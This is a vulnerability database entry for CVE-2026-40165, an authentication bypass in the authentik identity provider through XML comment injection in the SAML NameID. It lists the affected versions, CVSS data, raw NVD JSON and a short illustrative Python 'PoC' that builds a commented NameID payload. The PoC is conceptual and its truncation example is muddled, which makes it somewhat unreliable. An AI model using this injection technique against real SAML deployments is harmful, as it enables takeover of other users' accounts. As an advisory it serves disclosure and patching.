Security Vulnerability Report
中文
CVE-2026-40165 CVSS 8.7 HIGH

CVE-2026-40165

Published: 2026-05-21 00:16:28
Last Modified: 2026-05-21 15:24:25

Description

authentik is an open-source identity provider. Versions 2025.12.4 and prior, and versions 2026.2.0-rc1 through 2026.2.2 were vulnerable to Authentication Bypass through SAML NameID XML Comment Injection. Due to how authentik extracted the NameID value from a SAML assertion, it was possible for an attacker to trick authentik into only seeing a part of the NameID value, potentially allowing an attacker to gain access to other accounts. This issue could be exploited on an authentik instance with a SAML Source, where the attacker had an account on the SAML Source and the ability to modify their NameID value (commonly username or E-mail), and XML Signing was enabled. The attacker could modify the SAML assertion given to authentik by injecting a comment within the NameID value, which effectively truncated the NameID value to the snippet before the comment, and gave the attacker access to any user account. This issue has been fixed in versions 2025.12.5 and 2026.2.3.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

authentik <= 2025.12.4
authentik 2026.2.0-rc1 - 2026.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40165: SAML NameID XML Comment Injection # This demonstrates how to craft a NameID with an XML comment. def generate_malicious_nameid(base_user, injection_payload): """ Generates a NameID value with an injected XML comment. If authentik truncates at the comment, the effective ID becomes 'base_user'. """ # The attacker injects a comment to potentially truncate the ID # or confuse the parser logic in authentik. malicious_nameid = f"{base_user}<!-- {injection_payload} -->" return malicious_nameid # Example Usage # Attacker controls 'base_user' (e.g., their username). # They try to manipulate the authentication flow. payload = generate_malicious_nameid("attacker", "admin") print(f"Generated Malicious NameID: {payload}") # Conceptual SAML Response structure saml_response = f""" <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"> {payload} </saml:NameID> </saml:Subject> </saml:Assertion> """ print("SAML Assertion Snippet:") print(saml_response)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40165", "sourceIdentifier": "[email protected]", "published": "2026-05-21T00:16:28.290", "lastModified": "2026-05-21T15:24:25.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "authentik is an open-source identity provider. Versions 2025.12.4 and prior, and versions 2026.2.0-rc1 through 2026.2.2 were vulnerable to Authentication Bypass through SAML NameID XML Comment Injection. Due to how authentik extracted the NameID value from a SAML assertion, it was possible for an attacker to trick authentik into only seeing a part of the NameID value, potentially allowing an attacker to gain access to other accounts. This issue could be exploited on an authentik instance with a SAML Source, where the attacker had an account on the SAML Source and the ability to modify their NameID value (commonly username or E-mail), and XML Signing was enabled. The attacker could modify the SAML assertion given to authentik by injecting a comment within the NameID value, which effectively truncated the NameID value to the snippet before the comment, and gave the attacker access to any user account. This issue has been fixed in versions 2025.12.5 and 2026.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}, {"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-436"}]}], "references": [{"url": "https://github.com/goauthentik/authentik/commit/47dec5c6b7fb4a62bfad2ae8bddf002bde7ba774", "source": "[email protected]"}, {"url": "https://github.com/goauthentik/authentik/releases/tag/version%2F2025.12.5", "source": "[email protected]"}, {"url": "https://github.com/goauthentik/authentik/security/advisories/GHSA-9wj8-xv4r-qwrp", "source": "[email protected]"}]}}